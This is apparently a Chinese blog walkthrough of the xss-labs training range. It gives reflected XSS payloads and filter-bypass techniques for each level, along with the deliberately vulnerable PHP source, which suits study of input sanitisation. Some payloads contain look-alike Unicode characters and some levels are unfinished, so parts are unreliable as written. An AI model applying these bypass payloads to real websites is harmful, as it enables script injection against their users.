2025年最新xss-labs靶场实战

01.level1——直接注入

这里是接受参数的,所以可能是反射型xss,因此name的值可以构造成

原码如下:

//在html标签中插入php代码段,然后用php对其进行渲染
<script>
//hook
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
//hook了alert方法,hook相当于把原方法重写了

<?php 
ini_set("display_errors", 0);    
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";    //漏洞出现点,没有进行过滤,直接将输入进行拼接
?>    //SSR服务端渲染
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";    //输出payload长度
?>

02.level2——避免被“”实例化

ctrl+shift+i 打开控制台查看原码:

发现输入被实例化(变成字符串拼接进去),查看后发现可以通过构造闭合进行反射

"><script>alert(123)</script>

或者优雅一点:

" οnclick=alert('123')  //点击输入位时会有弹窗

或者更暴力一点:

" onfocus=alert('123') "    //鼠标一放在页面内就弹窗

欢迎来到level2

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>

</center>';
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

补充知识:htmlspecialchars($str)是一个对字符串进行html编码的函数,嵌套后可以得到原字符串

其中html编码中&nbsp为空格,&lt为左尖括号,&gt为右尖括号,但尝试后发现单引号无法转义

03.level——html编码绕过

该题是对输入内容进行了html编码

尝试输入双引号”,查看控制台元素,发现被编码

尝试输入单引号,发现单引号逃逸出来了(其实是后面的单引号无法配对而多出来了一个)

所以可以先用单引号闭合在进行注入:' οnclick=alert(123) '

也可以进行无害化注入(xss测试常见),可多次检验:' οnfοcus=console.log("洋槐花") '——可以在控制台打印

每点击一次输入框都会重复显示一次

原码文件

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

PS:当html编码函数里面多一个“ENT_QUOTES”参数时,单引号就没法绕过了,即htmlspecialchars($str,ENT_QUOTES)

console.log:console.log()是JavaScript中的一个内置函数,用于在控制台输出信息;该方法对于开发过程进行测试很有帮助。可以输出之前在其中定义的任何类型的变量,或者只输出需要显示给用户的任何消息。

04.leve4——尖括号过滤

输入后发现——尖括号被过滤了,则标签alert用不了了,改用属性(如onclick、onfocus等)

先双引号避免实例化,再添加属性进行测试

payload: " onclick=console.log('yanghuaihua') "

原码如下:

<?php 
ini_set("display_errors", 0);    //不展示报错
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);        //左右尖括号替换为空
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

PS:在控制台元素中,字符串和属性颜色不相同

05.level5——XSS伪协议(a标签)

✅ 什么是伪协议(pseudo protocol / scheme)

伪协议,也叫伪协议头,是在 URL 中使用的“非标准协议”——也就是浏览器会特殊处理它们,不是真正去请求网络地址,而是执行某些特殊行为。

如:

javascript: 协议
html
<a href="javascript:alert('XSS')">点击我</a>

点击后不会跳转,而是执行 JS 代码。

测试

测试后发现常规的标签和属性被过滤了

使用标签script

使用属性onclick

绕过姿势

方法1——伪协议(用其他标签)(成功)

<a href=javascript:alert(1)>点击获得100万</a>
<img src=javascript:alert(1)>    //但这个是无效图片源,浏览器无法解析
<iframe src="javascript:alert(1)"></iframe>    //这个可以alert,但并不能触发window.alert
//因为iframe执行的是浏览器默认的alert,而不是主页面里的,这题无法使用

方法2——大小写绕过(失败)

"><sCript>alert(123)</script>    //这题有strtolower函数,无法使用大小写混淆

方法3——双写绕过(失败)

前提:1、替换为空 2、只替换一次

但本题查看原码后发现"<script"被替换成"<s_cript",替换后不为空,故不能用双写绕过

$str2=str_replace("<script","<scr_ipt",$str);

方法4——html编码(失败)

因为value没有对输入进行html编码转义,而是直接进行拼接

<input name=keyword  value="'.$str3.'">

原码如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

06.level6——大小写混淆

测试

本题没有level5的strtolower函数,所以可以大小写绕过script

原码如下:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);    //过滤了常用的标签和属性
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

07.level7——双写绕过

本题常见关键字替换后为空,因此可以用双写绕过

测试

"><sscriptcript>alert(123)</sscriptcript>
" oonnclick=alert(123) "

源码如下:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

08.level8——编码+伪协议绕过

因为对value进行了编码转义,所以可以将过滤的关键字用“catlfencoder”进行编码

$str2=str_replace("script","scr_ipt",$str);
<input name=keyword  value="'.htmlspecialchars($str).'">

测试:

java&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x000a:alert(123)

源码如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);    //双引号也进行了过滤
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';    //将过滤后的输入插入超链接位
?>

09.lever9——注释绕过

原理:

用注释将"http://"包裹,过滤时对字符判断时它的确存在,但不会影响js伪协议的解析

字符判断时“//”是不会影响strpos的执行,它会把//当成字符的一部分

java&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x000a:alert(123)/*http://*/

源码如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))        //这里判断输入中是否存在"http://",没有就会触发不合法
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';    //有就直接拼接
}
?>

010.level10——隐藏参数+隐藏类型

打开页面发现没有输入框,没有提交按钮

打开控制台,查找元素——发现有很多隐藏的参数

同时尝试GET请求传参,发现t_sort有接收传值的能力(即发现注入点)

测试:

发现尖括号被过滤,放弃标签,改用属性

因为输入类型是hidden,又想要使用属性onclick时,先用双引号闭合前面,再用type="text"更改属性

t_sort=" onclick=alert(123) type="text"

原码如下:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

011.level11——referer头注入

本题不好想,所以直接附上原码(白盒)

其实看元素也能看出一点端倪:

因为隐藏元素中的t_ref和网站的referer一模一样

原码如下:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

测试:

没有对referer做充足的过滤(如html编码、on替换等)

payload:

" onclick=alert(123) type="text"

012.level12——User-Agent注入

这题类似,但换成了USER—Agent

打开hackbar,构造payload

013.level13——Cookie注入

原理类似上面

原码如下

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

014.level14——将xss插入图片详细信息

原环境图片网站坏掉了。。。

015.level15

看源码发现有个提示:nginclude

来源为:

所以传递一个src来触发xss的文件

payload:

'level1.php?name=<img src=1 onerror=alert(1)> '

'level1.php?name=<script>alert(1)</script>'

部分源码如下:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

016.level16——空格过滤

用换行符的编码绕过空格过滤——%0a

<img%0asrc=1%0aonerror=alert(123)>

原理:因为浏览器有自我修正机制,会将不正常的换行符变成空格

而本题正好有空格直接过滤,用换行符绕过,过滤后浏览器再对换行符进行修正,拼接xss

017.level17——onmouseover

查看原码:

构造arg01=a&arg02=123%20οnmοuseοver=alert(123)

原理:

在后端没有对空格做严格过滤时,空格将字符和属性分隔

原码如下:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值